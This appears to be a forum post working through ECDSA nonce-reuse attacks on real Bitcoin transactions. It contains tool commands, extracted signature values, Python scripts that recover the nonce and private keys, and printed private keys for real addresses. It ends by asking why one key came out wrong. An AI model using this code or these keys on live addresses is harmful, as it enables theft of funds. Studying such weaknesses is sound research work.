Let's dive right into the case that happened before. According to information from
https://christian-rossow.de/publications/btcsteal-raid2018.pdfwe are presented with the top 10 of most reused r value that have ever happened,
1st Rank:
0x00000000000000000000003b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63 2,276,718.
Let's use some of it.
txid = 003bf42c785dc750ee5280a62c91bb0e32b2829b7f446c333aa346ea7972e80a (single Address)
txid = 0000ad6683b802442afcdd96743dc889c01ec978b0db2c92bd1e550ccda4b7c1(2 Addresses)
using tools from iceland2k14 :
https://github.com/iceland2k14/rsz python3 getz_input.py -tx 003bf42c785dc750ee5280a62c91bb0e32b2829b7f446c333aa346ea7972e80a
Result :
[Input Index #: 0]
R: 3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63
S: 37241abae7c5160855be545f69b22652d0675394b2ec51c406c047481489bfad
Z: 407267215a54d1c3a426af0c07adc82ca005cdbe78b93e1c541bacdbeb837930
PubKey: 0200a1541e7dd887595db87a5823e831608ff74cd3ac266e4d35bdea169ac1264a
======================================================================
[Input Index #: 1]
R: 3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63
S: 17c51c7e43b18c11d24420bb2ac0d577db0f567b1cb8d7c906017e578af71752
Z: d021e63fac5e96bee5e3c8de2726709978093abe9b774b37b464409a9867edfe
PubKey: 0200a1541e7dd887595db87a5823e831608ff74cd3ac266e4d35bdea169ac1264a
======================================================================
.
.
.
we just need 2 set of rsz pairs
Now.. Lets try to get the PrivKey and k-nonce
import secp256k1 as ice
G = ice.scalar_multiplication(1)
N = ice.N
def calculate_d_k(r,s1,s2,z1,z2):
s_diff = (s1 - s2) % N
z_diff = (z1 - z2) % N
try:
s_diff_inv = pow(s_diff, -1, N)
r_inv = pow(r, -1, N)
except ValueError:
print("Modular inverse does not exist for given s_diff or r.")
return None
k = (z_diff * s_diff_inv) % N
dA = ((s1 * k - z1) * r_inv) % N
return k, dA
r = int('3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63',16)
s1 = int('37241abae7c5160855be545f69b22652d0675394b2ec51c406c047481489bfad',16)
z1 = int('407267215a54d1c3a426af0c07adc82ca005cdbe78b93e1c541bacdbeb837930',16)
s2 = int('17c51c7e43b18c11d24420bb2ac0d577db0f567b1cb8d7c906017e578af71752',16)
z2 = int('d021e63fac5e96bee5e3c8de2726709978093abe9b774b37b464409a9867edfe',16)
pubkey = '0200a1541e7dd887595db87a5823e831608ff74cd3ac266e4d35bdea169ac1264a'
Dk, privkey = calculate_d_k(r,s1,s2,z1,z2)
print(f"k-Nonce : {hex(Dk)}")
print(f"PrivKey : {hex(privkey)}")
print(ice.scalar_multiplication(privkey).hex() == ice.pub2upub(pubkey).hex())
Result :
k-Nonce : 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0
PrivKey : 0xa2df1308b53e3fac548c630d75715960a3a38eb0e2b920e5fbbb79ad9cbe4715
True
2nd txid
python3 .\getz_input.py -txid 0000ad6683b802442afcdd96743dc889c01ec978b0db2c92bd1e550ccda4b7c1
[Input Index #: 0]
R: 3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63
S: 3530d87f6b67f398d9d3e3b4c74902b171f041b48be4f5b7e0cbeca4455533f0
Z: 8b5c8a445b469f121131a5c72796a06ac7d8a1cff77bbb452837fb7e1d44ab39
PubKey: 030be93b33bf3126af00f79ab309676d47fb8b2e2c4cbbae76fd52b9d78bc8bcd7
======================================================================
[Input Index #: 1]
R: 3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63
S: 64801f6a42e9fdeb21fe29c56c2d69e306fb6046a2a60d7b372c374bcaca2edf
Z: b6125c89387fd212c6a2dd30ce55e0ed1d055cee85caf5f373dbb32c22f309c5
PubKey: 0225c072edb4f3112d769e8743bc46007664083b41331023c0be1630bac6870b76
Using the code from @mcdouglasx
Pcurve = 115792089237316195423570985008687907853269984665640564039457584007908834671663
N = 115792089237316195423570985008687907852837564279074904382605163141518161494337
def modinv(a, b):
lm, hm = 1, 0
low, high = a % b, b
while low > 1:
ratio = high // low
nm, new = hm - lm * ratio, high - low * ratio
lm, low, hm, high = nm, new, lm, low
return lm % b
k = 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0 # Example of a known nonce
# msg 1
hash1 = int("8b5c8a445b469f121131a5c72796a06ac7d8a1cff77bbb452837fb7e1d44ab39", 16)
r1 = int("3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63", 16)
s1 = int("3530d87f6b67f398d9d3e3b4c74902b171f041b48be4f5b7e0cbeca4455533f0", 16)
# msg 2
hash2 = int("b6125c89387fd212c6a2dd30ce55e0ed1d055cee85caf5f373dbb32c22f309c5", 16)
r2 = int("3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63", 16)
s2 = int("64801f6a42e9fdeb21fe29c56c2d69e306fb6046a2a60d7b372c374bcaca2edf", 16)
privKey1 = ((s1 * k - hash1) * modinv(r1, N)) % N
privKey2 = ((s2 * k - hash2) * modinv(r2, N)) % N
print("Private Key 1:", hex(privKey1))
print("Private Key 2:", hex(privKey2))
Result :
Private Key 1: 0x33c9621cb97649655c78fdc38fdc8c4d1f4d6e8b25aca9bec93b39fec7866a74 <== Correct
Private Key 2: 0x8e1d9939700d8571ae5f869ab0cb33fe5ee8ca1001a45f9dc09457b7decdd7e8 <== incorrect
What I missed?